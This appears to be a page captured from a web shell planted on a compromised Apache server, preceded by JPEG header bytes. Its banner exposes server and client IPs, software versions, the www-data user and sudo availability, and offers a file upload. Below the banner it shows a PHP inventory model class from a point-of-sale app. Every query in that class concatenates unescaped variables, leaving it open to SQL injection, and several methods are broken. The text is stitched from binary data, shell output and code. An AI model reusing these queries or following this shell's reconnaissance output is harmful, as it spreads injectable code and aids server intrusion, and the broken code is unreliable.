����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.141.164.253 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/model/ |
Upload File : |
<?php class AjustOperationData { public static $tablename = "ajust_operation"; public function AjustOperationData(){ $this->name = ""; $this->product_id = ""; $this->q = ""; $this->cut_id = ""; $this->name_ajust = ""; $this->created_at = "NOW()"; } public function add(){ $sql = "insert into ".self::$tablename." (price_in,price_out,stock_id,product_id,q,name_ajust,sell_id,created_at) "; $sql .= "value ($this->price_in,$this->price_out,$this->stock_id,\"$this->product_id\",\"$this->q\",$this->name_ajust,$this->sell_id,$this->created_at)"; return Executor::doit($sql); } public function add_cotization(){ $sql = "insert into ".self::$tablename." (price_in,price_out,is_draft,stock_id,product_id,q,operation_type_id,sell_id,created_at) "; $sql .= "value ($this->price_in,$this->price_out,1, $this->stock_id,\"$this->product_id\",\"$this->q\",$this->operation_type_id,$this->sell_id,$this->created_at)"; return Executor::doit($sql); } public static function delById($id){ $sql = "delete from ".self::$tablename." where id=$id"; Executor::doit($sql); } public function del(){ $sql = "delete from ".self::$tablename." where id=$this->id"; Executor::doit($sql); } // partiendo de que ya tenemos creado un objecto OperationData previamente utilizamos el contexto public function update(){ $sql = "update ".self::$tablename." set product_id=\"$this->product_id\",q=\"$this->q\" where id=$this->id"; Executor::doit($sql); } public function set_draft($d){ $sql = "update ".self::$tablename." set is_draft=\"$d\" where id=$this->id"; Executor::doit($sql); } public function updateAj($id){ $sql = "update ".self::$tablename." set is_draft=1 where id=$id"; Executor::doit($sql); } public function update_q(){ $sql = "update ".self::$tablename." set q=\"$this->q\" where id=$this->id"; Executor::doit($sql); } public function update_type(){ $sql = "update ".self::$tablename." set operation_type_id=\"$this->operation_type_id\" where id=$this->id"; Executor::doit($sql); } public static function getById($id){ $sql = "select * from ".self::$tablename." where id=$id"; $query = Executor::doit($sql); return Model::one($query[0],new OperationData()); } public static function getAll(){ $sql = "select * from ".self::$tablename." where order by created_at asc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getAllByDateOfficial($stock,$start,$end){ $sql = "select * from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and stock_id=$stock order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getPPByDateOfficial($start,$end){ $sql = "select *,sum(q) as total from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and operation_type_id=2 group by product_id order by total desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getAllByDateOfficialBP($stock,$product, $start,$end){ $sql = "select * from ".self::$tablename." where (date(created_at) >= \"$start\" and date(created_at) <= \"$end\") and product_id=$product and stock_id=$stock order by created_at desc"; if($start == $end){ $sql = "select * from ".self::$tablename." where date(created_at) = \"$start\" order by created_at desc"; } $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public function getProduct(){ return ProductData::getById($this->product_id);} public function getOperationtype(){ return OperationTypeData::getById($this->operation_type_id);} public static function getQ($product_id){ $q=0; $operations = self::getAllByProductId($product_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getQByStock($product_id,$stock_id){ $q=0; $operations = self::getAllByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id) { $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getRByStock($product_id,$stock_id){ $q=0; $operations = self::getAllByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("entrada-pendiente")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getDByStock($product_id,$stock_id){ $q=0; $operations = self::getAllByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("salida-pendiente")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getAllByProductIdCutId($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getAllByProductId($product_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getAllByProductIdAndStock($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and stock_id=$stock_id and is_draft=0 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getAllByProductIdCutIdOficial($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc"; return Model::many($query[0],new OperationData()); } //ventas public static function getAllProductsBySellId($sell_id){ $sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=2 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } //compras public static function getAllProductsByReId($sell_id){ $sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } //Ajustes public static function getAllProductsByAjId($sell_id){ $sql = "select * from ".self::$tablename." where sell_id=$sell_id and operation_type_id=1 and is_draft = 1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getAllByProductIdCutIdYesF($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc"; return Model::many($query[0],new OperationData()); return $array; } //////////////////////////////////////////////////////////////////// public static function getOutputQ($product_id,$cut_id){ $q=0; $operations = self::getOutputByProductIdCutId($product_id,$cut_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getOutputQYesF($product_id){ $q=0; $operations = self::getOutputByProductId($product_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getInputQByStock($product_id,$stock_id){ $q=0; $operations = self::getInputByProductIdAndStock($product_id,$stock_id); $input_id = OperationTypeData::getByName("entrada")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } } // print_r($data); return $q; } public static function getOutputByProductIdCutId($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getOutputByProductId($product_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=2 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } //////////////////////////////////////////////////////////////////// public static function getInputQ($product_id,$cut_id){ $q=0; return Model::many($query[0],new OperationData()); $operations = self::getInputByProductId($product_id); $input_id = OperationTypeData::getByName("entrada")->id; $output_id = OperationTypeData::getByName("salida")->id; foreach($operations as $operation){ if($operation->operation_type_id==$input_id){ $q+=$operation->q; } else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); } } // print_r($data); return $q; } public static function getInputByProductIdCutId($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getInputByProductId($product_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getInputByProductIdAndStock($product_id,$stock_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and operation_type_id=1 and stock_id=$stock_id order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } public static function getInputByProductIdCutIdYesF($product_id,$cut_id){ $sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc"; $query = Executor::doit($sql); return Model::many($query[0],new OperationData()); } //////////////////////////////////////////////////////////////////////////// } ?>